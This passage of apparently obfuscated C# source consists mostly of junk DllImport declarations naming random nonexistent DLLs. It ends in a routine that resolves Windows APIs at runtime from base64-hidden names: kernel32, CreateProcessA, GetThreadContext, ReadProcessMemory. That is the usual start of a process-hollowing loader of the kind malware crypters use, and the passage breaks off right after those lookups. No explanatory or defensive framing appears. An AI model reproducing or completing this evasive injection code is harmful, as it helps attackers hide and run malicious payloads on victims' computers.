    string[] CarEspjCyWGQWSeuvRTczg,
    char KaHNgodJFFEItmtYykBEH);

  [DllImport("JGzSPmIgmiuxMhjsDxaqJdwq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yXBfPLzUKBPZIIuhJfrGnFquU(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gMVVUZKDKoCBRUXPnDvfOQk,
    string[] NSfpLYMxZvuWEVHLlLWQif,
    char DYwplwOcxlvTOrsZtyHwc);

  [DllImport("boOOpxLmHlKbCcnhziFozGCN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] llkpMTaFSRhknfETMvegBdivs(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string etBCMjeIKqwQYNsoomrdjqI,
    string[] ihxnqiHkPNujEtkyJrreeG,
    char ObDXCarEspjCyWGQWSeuv);

  [DllImport("HyXBfPLzUKBPZIIuhJfrGnFq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RTczgKaHNgodJFFEItmtYykBE(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string uUJGzSPmIgmiuxMhjsDxaqJ,
    string[] dwqgMVVUZKDKoCBRUXPnDv,
    char fOQkNSfpLYMxZvuWEVHLl);

  [DllImport("cllkpMTaFSRhknfETMvegBdi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LWQifDYwplwOcxlvTOrsZtyHw(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string vsboOOpxLmHlKbCcnhziFoz,
    string[] GCNetBCMjeIKqwQYNsoomr,
    char djqIihxnqiHkPNujEtkyJ);

  [DllImport("vRTczgKaHNgodJFFEItmtYyk.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rreeGObDXCarEspjCyWGQWSeu(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string BEHyXBfPLzUKBPZIIuhJfrG,
    string[] nFquUJGzSPmIgmiuxMhjsD,
    char xaqJdwqgMVVUZKDKoCBRU);

  [DllImport("lLWQifDYwplwOcxlvTOrsZty.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] XPnDvfOQkNSfpLYMxZvuWEVHL(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string HwcllkpMTaFSRhknfETMveg,
    string[] BdivsboOOpxLmHlKbCcnhz,
    char iFozGCNetBCMjeIKqwQYN);

  [DllImport("JrreeGObDXCarEspjCyWGQWS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] soomrdjqIihxnqiHkPNujEtky(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string euvRTczgKaHNgodJFFEItmt,
    string[] YykBEHyXBfPLzUKBPZIIuh,
    char JfrGnFquUJGzSPmIgmiux);

  [DllImport("UXPnDvfOQkNSfpLYMxZvuWEV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MhjsDxaqJdwqgMVVUZKDKoCBR(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string HLlLWQifDYwplwOcxlvTOrs,
    string[] ZtyHwcllkpMTaFSRhknfET,
    char MvegBdivsboOOpxLmHlKb);

  [DllImport("NsoomrdjqIihxnqiHkPNujEt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CcnhziFozGCNetBCMjeIKqwQY(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string kyJrreeGObDXCarEspjCyWG,
    string[] QWSeuvRTczgKaHNgodJFFE,
    char ItmtYykBEHyXBfPLzUKBP);

  [DllImport("xMhjsDxaqJdwqgMVVUZKDKoC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZIIuhJfrGnFquUJGzSPmIgmiu(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string BRUXPnDvfOQkNSfpLYMxZvu,
    string[] WEVHLlLWQifDYwplwOcxlv,
    char TOrsZtyHwcllkpMTaFSRh);

  [DllImport("bCcnhziFozGCNetBCMjeIKqw.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] knfETMvegBdivsboOOpxLmHlK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string QYNsoomrdjqIihxnqiHkPNu,
    string[] jEtkyJrreeGObDXCarEspj,
    char CyWGQWSeuvRTczgKaHNgo);

  [DllImport("PZIIuhJfrGnFquUJGzSPmIgm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dJFFEItmtYykBEHyXBfPLzUKB(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string iuxMhjsDxaqJdwqgMVVUZKD,
    string[] KoCBRUXPnDvfOQkNSfpLYM,
    char xZvuWEVHLlLWQifDYwplw);

  [DllImport("hknfETMvegBdivsboOOpxLmH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OcxlvTOrsZtyHwcllkpMTaFSR(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lKbCcnhziFozGCNetBCMjeI,
    string[] KqwQYNsoomrdjqIihxnqiH,
    char kPNujEtkyJrreeGObDXCa);

  [DllImport("odJFFEItmtYykBEHyXBfPLzU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rEspjCyWGQWSeuvRTczgKaHNg(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string KBPZIIuhJfrGnFquUJGzSPm,
    string[] IgmiuxMhjsDxaqJdwqgMVV,
    char UZKDKoCBRUXPnDvfOQkNS);

  [DllImport("wOcxlvTOrsZtyHwcllkpMTaF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fpLYMxZvuWEVHLlLWQifDYwpl(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string SRhknfETMvegBdivsboOOpx,
    string[] LmHlKbCcnhziFozGCNetBC,
    char MjeIKqwQYNsoomrdjqIih);

  [DllImport("arEspjCyWGQWSeuvRTczgKaH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] xnqiHkPNujEtkyJrreeGObDXC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string NgodJFFEItmtYykBEHyXBfP,
    string[] LzUKBPZIIuhJfrGnFquUJG,
    char zSPmIgmiuxMhjsDxaqJdw);

  [DllImport("SfpLYMxZvuWEVHLlLWQifDYw.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qgMVVUZKDKoCBRUXPnDvfOQkN(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string plwOcxlvTOrsZtyHwcllkpM,
    string[] TaFSRhknfETMvegBdivsbo,
    char OOpxLmHlKbCcnhziFozGC);

  [DllImport("hxnqiHkPNujEtkyJrreeGObD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NetBCMjeIKqwQYNsoomrdjqIi(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XCarEspjCyWGQWSeuvRTczg,
    string[] KaHNgodJFFEItmtYykBEHy,
    char XBfPLzUKBPZIIuhJfrGnF);

  [DllImport("wqgMVVUZKDKoCBRUXPnDvfOQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] quUJGzSPmIgmiuxMhjsDxaqJd(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string kNSfpLYMxZvuWEVHLlLWQif,
    string[] DYwplwOcxlvTOrsZtyHwcl,
    char lkpMTaFSRhknfETMvegBd);

  [DllImport("CNetBCMjeIKqwQYNsoomrdjq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ivsboOOpxLmHlKbCcnhziFozG(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string IihxnqiHkPNujEtkyJrreeG,
    string[] ObDXCarEspjCyWGQWSeuvR,
    char TczgKaHNgodJFFEItmtYy);

  [DllImport("FquUJGzSPmIgmiuxMhjsDxaq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] kBEHyXBfPLzUKBPZIIuhJfrGn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string JdwqgMVVUZKDKoCBRUXPnDv,
    string[] fOQkNSfpLYMxZvuWEVHLlL,
    char WQifDYwplwOcxlvTOrsZt);

  [DllImport("divsboOOpxLmHlKbCcnhziFo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] yHwcllkpMTaFSRhknfETMvegB(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string zGCNetBCMjeIKqwQYNsoomr,
    string[] djqIihxnqiHkPNujEtkyJr,
    char reeGObDXCarEspjCyWGQW);

  [DllImport("ykBEHyXBfPLzUKBPZIIuhJfr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SeuvRTczgKaHNgodJFFEItmtY(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string GnFquUJGzSPmIgmiuxMhjsD,
    string[] xaqJdwqgMVVUZKDKoCBRUX,
    char PnDvfOQkNSfpLYMxZvuWE);

  [DllImport("tyHwcllkpMTaFSRhknfETMve.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VHLlLWQifDYwplwOcxlvTOrsZ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gBdivsboOOpxLmHlKbCcnhz,
    string[] iFozGCNetBCMjeIKqwQYNs,
    char oomrdjqIihxnqiHkPNujE);

  [DllImport("WSeuvEFOmTwMsySaQvqrpufY.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tkyJrreeGObDXCarEspjCyWGQ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string fKkWmqskKmRCwlGwnBMuthT,
    string[] uRdrZqdhHusmFCYuTYVgjy,
    char UVeojNcvPidSxHIGLvowa);

  [DllImport("pHtxXxJDVSoLjbXjzPkYhFzd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nmDHJBaphSzCXyEScwLxkLhgJ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string fMgltiPXYWbyGNqEDTXaRqG,
    string[] yiQSnQUieNbBBbkwZsYvOn,
    char OZTlVrblrnzRfnoxVQtvc);

  [DllImport("pgXkuedRRsBNpJoMeqecWolI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iCKzfabZePWdtUUjZcUtWBygV(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string rDIFQhiEFOmTwMsySaQvqrp,
    string[] ufYfKkWmqskKmRCwlGwnBM,
    char uthTuRdrZqdhHusmFCYuT);

  [DllImport("anmDHJBaphSzCXyEScwLxkLh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] YVgjyUVeojNcvPidSxHIGLvow(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gJpHtxXxJDVSoLjbXjzPkYh,
    string[] FzdfMgltiPXYWbyGNqEDTX,
    char aRqGyiQSnQUieNbBBbkwZ);

  [DllImport("ciCKzfabZePWdtUUjZcUtWBy.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sYvOnOZTlVrblrnzRfnoxVQtv(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gVpgXkuedRRsBNpJoMeqecW,
    string[] olIrDIFQhiEFOmTwMsySaQ,
    char vqrpufYfKkWmqskKmRCwl);

  [DllImport("TYVgjyUVeojNcvPidSxHIGLv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GwnBMuthTuRdrZqdhHusmFCYu(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string owanmDHJBaphSzCXyEScwLx,
    string[] kLhgJpHtxXxJDVSoLjbXjz,
    char PkYhFzdfMgltiPXYWbyGN);

  [DllImport("ZsYvOnOZTlVrblrnzRfnoxVQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qEDTXaRqGyiQSnQUieNbBBbkw(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string tvciCKzfabZePWdtUUjZcUt,
    string[] WBygVpgXkuedRRsBNpJoMe,
    char qecWolIrDIFQhiEFOmTwM);

  [DllImport("lGwnBMuthTuRdrZqdhHusmFC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sySaQvqrpufYfKkWmqskKmRCw(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string YuTYVgjyUVeojNcvPidSxHI,
    string[] GLvowanmDHJBaphSzCXyES,
    char cwLxkLhgJpHtxXxJDVSoL);

  [DllImport("NqEDTXaRqGyiQSnQUieNbBBb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jbXjzPkYhFzdfMgltiPXYWbyG(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string kwZsYvOnOZTlVrblrnzRfno,
    string[] xVQtvciCKzfabZePWdtUUj,
    char ZcUtWBygVpgXkuedRRsBN);

  [DllImport("MsySaQvqrpufYfKkWmqskKmR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pJoMeqecWolIrDIFQhiEFOmTw(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string CwlGwnBMuthTuRdrZqdhHus,
    string[] mFCYuTYVgjyUVeojNcvPid,
    char SxHIGLvowanmDHJBaphSz);

  [DllImport("LjbXjzPkYhFzdfMgltiPXYWb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CXyEScwLxkLhgJpHtxXxJDVSo(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string yGNqEDTXaRqGyiQSnQUieNb,
    string[] BBbkwZsYvOnOZTlVrblrnz,
    char RfnoxVQtvciCKzfabZePW);

  [DllImport("NpJoMeqecWolIrDIFQhiEFOm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dtUUjZcUtWBygVpgXkuedRRsB(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string TwMsySaQvqrpufYfKkWmqsk,
    string[] KmRCwlGwnBMuthTuRdrZqd,
    char hHusmFCYuTYVgjyUVeojN);

  [DllImport("zCXyEScwLxkLhgJpHtxXxJDV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cvPidSxHIGLvowanmDHJBaphS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string SoLjbXjzPkYhFzdfMgltiPX,
    string[] YWbyGNqEDTXaRqGyiQSnQU,
    char ieNbBBbkwZsYvOnOZTlVr);

  [DllImport("WdtUUjZcUtWBygVpgXkuedRR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] blrnzRfnoxVQtvciCKzfabZeP(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string sBNpJoMeqecWolIrDIFQhiE,
    string[] FOmTwMsySaQvqrpufYfKkW,
    char mqskKmRCwlGwnBMuthTuR);

  [DllImport("NcvPidSxHIGLvowanmDHJBap.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] drZqdhHusmFCYuTYVgjyUVeoj(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string hSzCXyEScwLxkLhgJpHtxXx,
    string[] JDVSoLjbXjzPkYhFzdfMgl,
    char tiPXYWbyGNqEDTXaRqGyi);

  [DllImport("rblrnzRfnoxVQtvciCKzfabZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QSnQUieNbBBbkwZsYvOnOZTlV(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ePWdtUUjZcUtWBygVpgXkue,
    string[] dRRsBNpJoMeqecWolIrDIF,
    char QhiEFOmTwMsySaQvqrpuf);

  [DllImport("RdrZqdhHusmFCYuTYVgjyUVe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] YfKkWmqskKmRCwlGwnBMuthTu(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string ojNcvPidSxHIGLvowanmDHJ,
    string[] BaphSzCXyEScwLxkLhgJpH,
    char txXxJDVSoLjbXjzPkYhFz);

  [DllImport("iQSnQUieNbBBbkwZsYvOnOZT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dfMgltiPXYWbyGNqEDTXaRqGy(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string lVrblrnzRfnoxVQtvciCKzf,
    string[] abZePWdtUUjZcUtWBygVpg,
    char XkuedRRsBNpJoMeqecWol);

  [DllImport("fYfKkWmqskKmRCwlGwnBMuth.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IrDIFQhiEFOmTwMsySaQvqrpu(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string TuRdrZqdhHusmFCYuTYVgjy,
    string[] UVeojNcvPidSxHIGLvowan,
    char mDHJBaphSzCXyEScwLxkL);

  [DllImport("zdfMgltiPXYWbyGNqEDTXaRq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hgJpHtxXxJDVSoLjbXjzPkYhF(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string GyiQSnQUieNbBBbkwZsYvOn,
    string[] OZTlVrblrnzRfnoxVQtvci,
    char CKzfabZePWdtUUjZcUtWB);

  [DllImport("lIrDIFQhiEFOmTwMsySaQvqr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ygVpgXkuedRRsBNpJoMeqecWo(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string pufYfKkWmqskKmRCwlGwnBM,
    string[] uthTuRdrZqdhHusmFCYuTY,
    char VgjyUVeojNcvPidSxHIGL);

  [DllImport("LhgJpHtxXxJDVSoLjbXjzPkY.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vowanmDHJBaphSzCXyEScwLxk(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string hFzdfMgltiPXYWbyGNqEDTX,
    string[] aRqGyiQSnQUieNbBBbkwZs,
    char YvOnOZTlVrblrnzRfnoxV);

  [DllImport("BygVpgXkuedRRsBNpJoMeqec.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QtvciCKzfabZePWdtUUjZcUtW(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WolIrDIFQhiEFOmTwMsySaQ,
    string[] vqrpufYfKkWmqskKmRCwlG,
    char wnBMuthTuRdrZqdhHusmF);

  [DllImport("LvowanmDHJBaphSzCXyEScwL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CYuTYVgjyUVeojNcvPidSxHIG(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string xkLhgJpHtxXxJDVSoLjbXjz,
    string[] PkYhFzdfMgltiPXYWbyGNq,
    char EDTXaRqGyiQSnQUieNbBB);

  [DllImport("VQtvciCKzfabZePWdtUUjZcU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bkwZsYvOnOZTlVrblrnzRfnox(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string tWBygVpgXkuedRRsBNpJoMe,
    string[] qecWolIrDIFQhiEFOmTwMs,
    char ySaQvqrpufYfKkWmqskKm);

  [DllImport("FCYuTYVgjyUVeojNcvPidSxH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RCwlGwnBMuthTuRdrZqdhHusm(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string IGLvowanmDHJBaphSzCXyES,
    string[] cwLxkLhgJpHtxXxJDVSoLj,
    char bXjzPkYhFzdfMgltiPXYW);

  [DllImport("BbkwZsYvOnOZTlVrblrnzRfn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] byGNqEDTXaRqGyiQSnQUieNbB(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string oxVQtvciCKzfabZePWdtUUj,
    string[] ZcUtWBygVpgXkuedRRsBNp,
    char JoMeqecWolIrDIFQhiEFO);

  [DllImport("mRCwlGwnBMuthTuRdrZqdhHu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mTwMsySaQvqrpufYfKkWmqskK(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string smFCYuTYVgjyUVeojNcvPid,
    string[] SxHIGLvowanmDHJBaphSzC,
    char XyEScwLxkLhZBizlpQqCv);

  [DllImport("PUrxGjwvMQSKjyqbJLfINbXG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OLhEcUQcsIdRaxsWYFYembHQR(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string TstUdpRlQoHgHSMeNkUekgs,
    string[] JYfhqOJmoVbuDrXTTSXIPW,
    char mNMcSVNlPtrZOiZQdnWWK);

  [DllImport("HeMpFlrLTJojjinYRYDdPfil.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] KktGiChFXjXUOgdBkuBwJZavx(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string dCfKtpeypgtEnmaMnKWkSjV,
    string[] ZznlfxuRmMRNZcrNOXhcGV,
    char nIbWLqzByEohoTgfvzCtT);

  [DllImport("vOLhEcUQcsIdRaxsWYFYembH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iaLsuPrwKVpDqcEaZBizlpQqC(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string QRPUrxGjwvMQSKjyqbJLfIN,
    string[] bXGTstUdpRlQoHgHSMeNkU,
    char ekgsJYfhqOJmoVbuDrXTT);

  [DllImport("KKktGiChFXjXUOgdBkuBwJZa.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SXIPWmNMcSVNlPtrZOiZQdnWW(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string vxHeMpFlrLTJojjinYRYDdP,
    string[] fildCfKtpeypgtEnmaMnKW,
    char kSjVZznlfxuRmMRNZcrNO);

  [DllImport("TiaLsuPrwKVpDqcEaZBizlpQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] XhcGVnIbWLqzByEohoTgfvzCt(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string qCvOLhEcUQcsIdRaxsWYFYe,
    string[] mbHQRPUrxGjwvMQSKjyqbJ,
    char LfINbXGTstUdpRlQoHgHS);

  [DllImport("TSXIPWmNMcSVNlPtrZOiZQdn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MeNkUekgsJYfhqOJmoVbuDrXT(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WWKKktGiChFXjXUOgdBkuBw,
    string[] JZavxHeMpFlrLTJojjinYR,
    char YDdPfildCfKtpeypgtEnm);

  [DllImport("OXhcGVnIbWLqzByEohoTgfvz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] aMnKWkSjVZznlfxuRmMRNZcrN(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string CtTiaLsuPrwKVpDqcEaZBiz,
    string[] lpQqCvOLhEcUQcsIdRaxsW,
    char YFYembHQRPUrxGjwvMQSK);

  [DllImport("SMeNkUekgsJYfhqOJmoVbuDr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jyqbJLfINbXGTstUdpRlQoHgH(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XTTSXIPWmNMcSVNlPtrZOiZ,
    string[] QdnWWKKktGiChFXjXUOgdB,
    char kuBwJZavxHeMpFlrLTJoj);

  [DllImport("maMnKWkSjVZznlfxuRmMRNZc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] jinYRYDdPfildCfKtpeypgtEn(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string rNOXhcGVnIbWLqzByEohoTg,
    string[] fvzCtTiaLsuPrwKVpDqcEa,
    char ZBizlpQqCvOLhEcUQcsId);

  [DllImport("KjyqbJLfINbXGTstUdpRlQoH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RaxsWYFYembHQRPUrxGjwvMQS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string gHSMeNkUekgsJYfhqOJmoVb,
    string[] uDrXTTSXIPWmNMcSVNlPtr,
    char ZOiZQdnWWKKktGiChFXjX);

  [DllImport("jjinYRYDdPfildCfKtpeypgt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UOgdBkuBwJZavxHeMpFlrLTJo(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string EnmaMnKWkSjVZznlfxuRmMR,
    string[] NZcrNOXhcGVnIbWLqzByEo,
    char hoTgfvzCtTiaLsuPrwKVp);

  [DllImport("dRaxsWYFYembHQRPUrxGjwvM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DqcEaZBizlpQqCvOLhEcUQcsI(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string QSKjyqbJLfINbXGTstUdpRl,
    string[] QoHgHSMeNkUekgsJYfhqOJ,
    char moVbuDrXTTSXIPWmNMcSV);

  [DllImport("XUOgdBkuBwJZavxHeMpFlrLT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NlPtrZOiZQdnWWKKktGiChFXj(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string JojjinYRYDdPfildCfKtpey,
    string[] pgtEnmaMnKWkSjVZznlfxu,
    char RmMRNZcrNOXhcGVnIbWLq);

  [DllImport("pDqcEaZBizlpQqCvOLhEcUQc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zByEohoTgfvzCtTiaLsuPrwKV(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string sIdRaxsWYFYembHQRPUrxGj,
    string[] wvMQSKjyqbJLfINbXGTstU,
    char dpRlQoHgHSMeNkUekgsJY);

  [DllImport("VNlPtrZOiZQdnWWKKktGiChF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fhqOJmoVbuDrXTTSXIPWmNMcS(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string XjXUOgdBkuBwJZavxHeMpFl,
    string[] rLTJojjinYRYDdPfildCfK,
    char tpeypgtEnmaMnKWkSjVZz);

  [DllImport("qzByEohoTgfvzCtTiaLsuPrw.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nlfxuRmMRNZcrNOXhcGVnIbWL(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string KVpDqcEaZBizlpQqCvOLhEc,
    string[] UQcsIdRaxsWYFYembHQRPU,
    char rxGjwvMQSKjyqbJLfINbX);

  [DllImport("YfhqOJmoVbuDrXTTSXIPWmNM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GTstUdpRlQoHgHSMeNkUekgsJ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string cSVNlPtrZOiZQdnWWKKktGi,
    string[] ChFXjXUOgdBkuBwJZavxHe,
    char MpFlrLTJojjinYRYDdPfi);

  [DllImport("znlfxuRmMRNZcrNOXhcGVnIb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ldCfKtpeypgtEnmaMnKWkSjVZ(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string WLqzByEohoTgfvzCtTiaLsu,
    string[] PrwKVpDqcEaZBizlpQqCvO,
    char LhEcUQcsIdRaxsWYFYemb);

  [DllImport("XGTstUdpRlQoHgHSMeNkUekg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HQRPUrxGjwvMQSKjyqbJLfINb(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string sJYfhqOJmoVbuDrXTTSXIPW,
    string[] mNMcSVNlPtrZOiZQdnWWKK,
    char ktGiChFXjXUOgdBkuBwJZ);

  [DllImport("ildCfKtpeypgtEnmaMnKWkSj.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] avxHeMpFlrLTJojjinYRYDdPf(
    [MarshalAs(UnmanagedType.VBByRefStr)] ref string VZznlfxuRmMRNZcrNOXhcGV,
    string[] nIbWLqzByEohoTgfvzCtTi,
    char aLsuPrwKVpDqcEaZBizlp);

  public T IpHswXLJDVSoKjolwzPk<T>(string luFzdsMfytiOXYWbMFMq, string EDTXZRqGxiQSmPUhsNaO) => (T) Marshal.GetDelegateForFunctionPointer(JKINxFMcEDTJLDc.GetProcAddress(JKINxFMcEDTJLDc.LoadLibraryA(ref luFzdsMfytiOXYWbMFMq), ref EDTXZRqGxiQSmPUhsNaO), typeof (T));

  public object WiLeJhzMzwqJGdN(byte[] UcSxHHGKhovammDGJBZo, string hRyCWyDROwKjjLTfIbHf)
  {
    JKINxFMcEDTJLDc.zbxwYGXKOnOZTliFbzrn ygxkOnOzTliFbzrn = this.IpHswXLJDVSoKjolwzPk<JKINxFMcEDTJLDc.zbxwYGXKOnOZTliFbzrn>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E=")));
    JKINxFMcEDTJLDc.PIPsUFVZcTsVBkgUpfWk ufvZcTsVbkgUpfWk = this.IpHswXLJDVSoKjolwzPk<JKINxFMcEDTJLDc.PIPsUFVZcTsVBkgUpfWk>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA==")));
    JKINxFMcEDTJLDc.QgvDFOlgKMsySaQvqqpu dfOlgKmsySaQvqqpu = this.IpHswXLJDVSoKjolwzPk<JKINxFMcEDTJLDc.QgvDFOlgKMsySaQvqqpu>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk=")));
